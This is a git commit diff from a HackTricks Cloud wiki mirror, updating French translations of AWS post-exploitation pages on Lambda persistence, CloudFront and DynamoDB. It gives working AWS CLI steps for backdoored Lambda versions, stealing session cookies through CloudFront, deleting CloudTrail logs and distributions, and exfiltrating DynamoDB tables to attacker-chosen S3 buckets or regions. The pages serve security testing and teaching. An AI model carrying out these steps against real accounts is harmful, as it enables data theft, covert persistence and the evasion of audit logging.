mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
+65
-23
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### Lambda Layer Persistance
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
Il est possible d'**introduce/backdoor une layer pour exécuter du code arbitraire** lorsque la Lambda est exécutée de manière furtive :
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistance
|
||||
|
||||
En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la lambda tout en volant et modifiant les requêtes.
|
||||
En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la Lambda, mais aussi de voler et modifier les requêtes.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
Il est possible d'accorder l'accès à différentes actions lambda (such as invoke or update code) à des comptes externes :
|
||||
Il est possible d'accorder l'accès à différentes actions Lambda (comme invoke ou update code) à des comptes externes :
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Ensuite, vous pouvez créer **différents aliases avec différentes versions** de la lambda et attribuer des weights différents à chacun.\
|
||||
De cette façon un attaquant pourrait créer une **backdoored version 1** et une **version 2 with only the legit code** et **n'exécuter la version 1 que dans 1%** des requêtes pour rester furtif.
|
||||
Une Lambda peut avoir **différentes versions** (chaque version contenant un code différent).\
|
||||
Ensuite, vous pouvez créer **différents aliases pointant vers différentes versions** de la Lambda et attribuer des weights différents à chacun.\
|
||||
De cette façon, un attaquant pourrait créer une **backdoored version 1** et une **version 2 contenant seulement le code légitime**, et **n'exécuter la version 1 que dans 1%** des requêtes pour rester furtif.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
2. **Create a new version backdooring** le code original (ou simplement avec du code malveillant). Publiez et **déployez cette version** sur $LATEST
|
||||
1. Appelez l'API Gateway liée à la Lambda pour exécuter le code
|
||||
3. Créez une nouvelle version avec le code original, publiez et déployez cette **version** sur $LATEST.
|
||||
1. Cela cachera le code backdoored dans une version précédente
|
||||
4. Allez dans l'API Gateway et **créez une nouvelle méthode POST** (ou choisissez une autre méthode) qui exécutera la version backdoored de la Lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Notez le :1 final de l'ARN **indiquant la version de la fonction** (la version 1 sera la backdoored dans ce scénario).
|
||||
5. Sélectionnez la méthode POST créée et dans Actions sélectionnez **`Deploy API`**
|
||||
6. Maintenant, lorsque vous **appelez la fonction via POST**, votre Backdoor sera invoquée
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
Le fait que vous puissiez faire **exécuter des fonctions lambda lorsqu'un événement survient ou quand un certain temps s'écoule** fait des lambda un moyen fréquent et efficace d'obtenir de la persistance et d'éviter la détection.\
|
||||
Voici quelques idées pour rendre votre **présence dans AWS plus furtive en créant des lambdas**.
|
||||
Le fait que vous puissiez faire exécuter des fonctions Lambda lorsqu'un événement se produit ou après un certain délai fait de Lambda un moyen courant et pratique pour obtenir de la persistance et éviter la détection.\
|
||||
Voici quelques idées pour rendre votre **présence dans AWS plus furtive en créant des Lambdas**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- Chaque fois qu'un nouvel utilisateur est créé, Lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
|
||||
- Chaque fois qu'un nouveau rôle est créé, Lambda donne des permissions d'assume role aux utilisateurs compromis.
|
||||
- Chaque fois que de nouveaux logs CloudTrail sont générés, les supprimer/altérer
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abusez la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant que le runtime/handler ne démarre. Fournissez le wrapper via un Lambda Layer à `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute dans le processus runtime de la fonction, hérite du role d'exécution de la fonction, et finit par `exec` le runtime réel afin que le handler original s'exécute normalement.
|
||||
Abusez la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant le démarrage du runtime/handler. Fournissez le wrapper via une Lambda Layer dans `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute à l'intérieur du processus runtime de la fonction, hérite du rôle d'exécution de la fonction et finit par `exec` le runtime réel afin que le handler original s'exécute normalement.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
|
||||
Abusez les destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une fonction se réinvoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la configuration de recursion sur Allow les réactive. Les destinations effectuent la livraison côté service pour les invocations async, donc une seule invocation initiale crée un canal de heartbeat/backdoor furtif sans code. Optionnellement, limitez avec reserved concurrency pour réduire le bruit.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Créez une version cachée de la Lambda contenant la logique de l'attaquant et scopez une resource-based policy à cette version spécifique (ou alias) en utilisant le paramètre `--qualifier` dans `lambda add-permission`. Accordez seulement `lambda:InvokeFunction` sur `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` à un principal attaquant. Les invocations normales via le nom de la fonction ou l'alias principal restent inchangées, tandis que l'attaquant peut invoquer directement l'ARN de la version backdoored.
|
||||
Créez une version Lambda cachée avec la logique de l'attaquant et appliquez une resource-based policy à cette version spécifique (ou alias) en utilisant le paramètre `--qualifier` dans `lambda add-permission`. Accordez uniquement `lambda:InvokeFunction` sur `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` à un principal attaquant. Les invocations normales via le nom de fonction ou l'alias principal restent inchangées, tandis que l'attaquant peut invoquer directement l'ARN de la version backdoored.
|
||||
|
||||
Ceci est plus furtif que d'exposer une Function URL et ne change pas l'alias de trafic principal.
|
||||
C'est plus furtif que d'exposer une Function URL et cela ne change pas l'alias principal du trafic.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
Un attaquant disposant des permissions lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig et lambda:GetRuntimeManagementConfig peut modifier la configuration de runtime management d'une fonction. Cette attaque est particulièrement efficace lorsque l'objectif est de maintenir une fonction Lambda sur une version de runtime vulnérable ou de préserver la compatibilité avec des layers malveillants qui pourraient être incompatibles avec des runtimes plus récents.
|
||||
|
||||
L'attaquant modifie la configuration de runtime management pour épingler la version du runtime :
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Vérifiez la configuration appliquée :
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Optionnel : Épingler à une version spécifique du runtime
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Épingler à une version spécifique du runtime :
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+17
-8
@@ -1,4 +1,4 @@
|
||||
# AWS - CloudFront Post-exploitation
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,22 +10,31 @@ Pour plus d'informations, consultez :
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Un attaquant auquel on a accordé cloudfront:Delete* peut supprimer des distributions, des policies et d'autres objets critiques de configuration du CDN — par exemple distributions, cache/origin policies, key groups, origin access identities, functions/configs, et ressources associées. Cela peut provoquer une interruption de service, une perte de contenu et la suppression de configurations ou d'artefacts forensiques.
|
||||
|
||||
Pour supprimer une distribution, un attaquant pourrait utiliser :
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication through CloudFront** dans le but de **voler** des informations utilisateur (comme le cookie de session) et de **modifier** la **réponse** (en injectant un script JS malveillant).
|
||||
Cet [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et de **modifier** la **réponse** (injection d'un script JS malveillant).
|
||||
|
||||
#### scénario 1 : MitM où CloudFront est configuré pour accéder à du HTML d'un bucket
|
||||
#### scénario 1 : MitM où CloudFront est configuré pour accéder à du HTML dans un bucket
|
||||
|
||||
- **Créer** la **fonction** malveillante.
|
||||
- **Associer** la à la distribution CloudFront.
|
||||
- **Associer** celle-ci à la distribution CloudFront.
|
||||
- Définir le **type d'événement sur "Viewer Response"**.
|
||||
|
||||
En accédant à la réponse, vous pouvez voler le cookie des utilisateurs et injecter un JS malveillant.
|
||||
En accédant à la réponse, un attaquant peut voler le cookie de session des utilisateurs et injecter un script JS malveillant.
|
||||
|
||||
#### scénario 2 : MitM où CloudFront utilise déjà une Lambda function
|
||||
#### scénario 2 : MitM où CloudFront utilise déjà une lambda function
|
||||
|
||||
- **Modifier le code** de la Lambda function pour voler des informations sensibles
|
||||
- **Modifier le code** de la lambda function pour voler des informations sensibles
|
||||
|
||||
Vous pouvez consulter le [**tf code pour recréer ces scénarios ici**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Vous pouvez consulter le [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+90
-53
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Un attaquant disposant de cette permission pourra **récupérer des éléments des tables par la clé primaire** (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (`describe-table`).
|
||||
Un attacker disposant de ces permissions pourra **récupérer des items dans les tables par clé primaire** (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Similaire aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer :
|
||||
**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table en fournissant la clé primaire de l'entrée à récupérer :
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impact potentiel:** Privesc indirecte en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire les valeurs d'une seule table à condition de connaître la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit être présente) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble du DB en une requête.
|
||||
**Similaire aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire les valeurs d'une seule table à condition de connaître la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour récupérer toute la DB dans une requête.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Vous pouvez utiliser cette permission pour **dump l'intégralité de la table facilement**.
|
||||
Vous pouvez utiliser cette permission pour **dump facilement l'intégralité de la table**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Vous pouvez utiliser cette autorisation pour **dump facilement l'intégralité de la table**.
|
||||
Vous pouvez utiliser cette permission pour **dump l'intégralité de la table facilement**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Cette autorisation permet également d'exécuter des `batch-execute-statement` comme :
|
||||
Cette permission permet également d'exécuter `batch-execute-statement` comme :
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.
|
||||
|
||||
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table
|
||||
**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Cette permission permettra à un attaquant de **exporter toute la table vers un bucket S3** de son choix:
|
||||
Cette permission permettra à un attaquant de **exporter la table entière vers un S3 bucket** de son choix :
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Notez que pour que cela fonctionne, la table doit avoir point-in-time-recovery activé. Vous pouvez vérifier si la table l'a avec :
|
||||
Notez que pour que cela fonctionne, la table doit avoir point-in-time-recovery activé ; vous pouvez vérifier si la table l'a avec :
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
S'il n'est pas activé, vous devrez **l'activer** et pour cela vous avez besoin de la permission **`dynamodb:ExportTableToPointInTime`**:
|
||||
S'il n'est pas activé, vous devrez **l'activer** et pour cela vous aurez besoin de la permission **`dynamodb:ExportTableToPointInTime`** :
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impact potentiel:** Privesc indirect en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Avec ces permissions, un attacker serait capable de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour ensuite la restaurer dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter **des informations** issues des sauvegardes qui **ne sont plus présentes dans la table de production**.
|
||||
Avec ces permissions, un attaquant pourrait **créer une nouvelle table à partir d'une sauvegarde** (ou même créer une sauvegarde pour ensuite la restaurer dans une table différente). Puis, avec les permissions nécessaires, il pourrait consulter **des informations** provenant des sauvegardes qui **ne se trouvent plus dans la table de production**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la sauvegarde de la table
|
||||
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la sauvegarde de la table
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'ensemble de l'élément sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
|
||||
Cette autorisation permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'ensemble de l'élément sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Exploitation d'autres vulnérabilités/contournements en pouvant ajouter/modifier des données dans une table DynamoDB
|
||||
**Impact potentiel :** Exploitation d'autres vulnérabilités/bypasses en pouvant ajouter/modifier des données dans une table DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Cela **ne remplace pas** l'ensemble de l'élément ; cela met uniquement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.
|
||||
Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle ne **remplace pas** l'élément entier ; elle met uniquement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,11 +242,11 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Exploitation de vulnérabilités supplémentaires/bypasses en pouvant ajouter/modifier des données dans une table DynamoDB
|
||||
**Impact potentiel :** Exploitation d'autres vulnérabilités/bypasses en pouvant ajouter/modifier des données dans une DynamoDB table
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Un attaquant disposant de cette autorisation peut **supprimer une table DynamoDB, provoquant une perte de données**.
|
||||
Un attaquant disposant de cette permission peut **supprimer une DynamoDB table, entraînant une perte de données**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
@@ -256,20 +256,20 @@ aws dynamodb delete-table \
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Un attaquant disposant de cette autorisation peut **supprimer une sauvegarde DynamoDB, provoquant potentiellement une perte de données en cas de scénario de reprise après sinistre**.
|
||||
Un attaquant disposant de cette permission peut **supprimer une sauvegarde DynamoDB, entraînant potentiellement une perte de données en cas de scénario de reprise après sinistre**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel** : Perte de données et incapacité à restaurer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.
|
||||
**Impact potentiel** : Perte de données et impossibilité de récupérer depuis une sauvegarde lors d'un scénario de reprise après sinistre.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Tester si cela fonctionne réellement
|
||||
|
||||
Un attaquant disposant de ces autorisations peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à diffuser les modifications, puis accéder au stream pour surveiller en temps réel les changements de la table**. Cela permet à l'attaquant de surveiller et d'exfiltrate les modifications de données, ce qui peut entraîner un leak.
|
||||
Un attaquant disposant de ces permissions peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à streamer les modifications, puis accéder au stream pour surveiller les changements de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrate les changements de données, pouvant potentiellement conduire à une leak de données.
|
||||
|
||||
1. Activer un stream sur une table DynamoDB :
|
||||
```bash
|
||||
@@ -278,13 +278,13 @@ aws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Décrire le flux pour obtenir l'ARN et d'autres détails :
|
||||
2. Décrire le stream pour obtenir l'ARN et d'autres détails :
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Obtenir le shard iterator en utilisant le stream ARN :
|
||||
3. Obtenir le shard iterator en utilisant le stream ARN:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Utilisez le shard iterator pour accéder et exfiltrate des données du stream :
|
||||
4. Utilisez le shard iterator pour accéder et exfiltrer des données depuis le stream :
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: Surveillance en temps réel et exfiltration de données des modifications de la table DynamoDB.
|
||||
**Impact potentiel** : Surveillance en temps réel et fuite de données des modifications de la table DynamoDB.
|
||||
|
||||
### Lire les éléments via `dynamodb:UpdateItem` et `ReturnValues=ALL_OLD`
|
||||
### Lire des éléments via `dynamodb:UpdateItem` et `ReturnValues=ALL_OLD`
|
||||
|
||||
Un attaquant disposant uniquement de `dynamodb:UpdateItem` sur une table peut lire des éléments sans aucune des permissions de lecture habituelles (`GetItem`/`Query`/`Scan`) en effectuant une mise à jour bénigne et en demandant `--return-values ALL_OLD`. DynamoDB renverra l'image complète de l'élément avant mise à jour dans le champ `Attributes` de la réponse (cela ne consomme pas de RCUs).
|
||||
|
||||
- Permissions minimales: `dynamodb:UpdateItem` sur la table/clé cible.
|
||||
- Prérequis: vous devez connaître la clé primaire de l'élément.
|
||||
- Permissions minimales : `dynamodb:UpdateItem` sur la table/clé cible.
|
||||
- Prérequis : vous devez connaître la clé primaire de l'élément.
|
||||
|
||||
Exemple (ajoute un attribut inoffensif et exfiltre l'élément précédent dans la réponse):
|
||||
Exemple (ajoute un attribut inoffensif et exfiltrates l'élément précédent dans la réponse):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -320,12 +320,12 @@ aws dynamodb update-item \
|
||||
```
|
||||
La réponse de la CLI inclura un bloc `Attributes` contenant l'élément précédent complet (tous les attributs), fournissant ainsi une primitive de lecture à partir d'un accès en écriture seule.
|
||||
|
||||
**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des permissions d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues.
|
||||
**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des permissions d'écriture, ce qui permet l'exfiltration de données sensibles lorsque les clés primaires sont connues.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Exfiltration discrète en ajoutant une nouvelle réplique régionale à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une réplique régionale, la table entière est répliquée vers la région choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.
|
||||
Exfiltration furtive en ajoutant une nouvelle replica Region à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une replica régionale, la table entière est répliquée vers la Region choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Autorisations : `dynamodb:UpdateTable` (avec `replica-updates`) ou `dynamodb:CreateTableReplica` sur la table cible. Si un CMK est utilisé dans la réplique, des autorisations KMS pour cette clé peuvent être requises.
|
||||
Autorisations : `dynamodb:UpdateTable` (avec `replica-updates`) ou `dynamodb:CreateTableReplica` sur la table cible. Si une CMK est utilisée dans la réplique, des permissions KMS pour cette clé peuvent être requises.
|
||||
|
||||
Impact potentiel : Réplication complète de la table vers une région contrôlée par un attaquant, aboutissant à une exfiltration furtive de données.
|
||||
Impact potentiel : Réplication de la table complète vers une région contrôlée par l'attaquant entraînant une exfiltration furtive de données.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (lecture via condition échouée + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
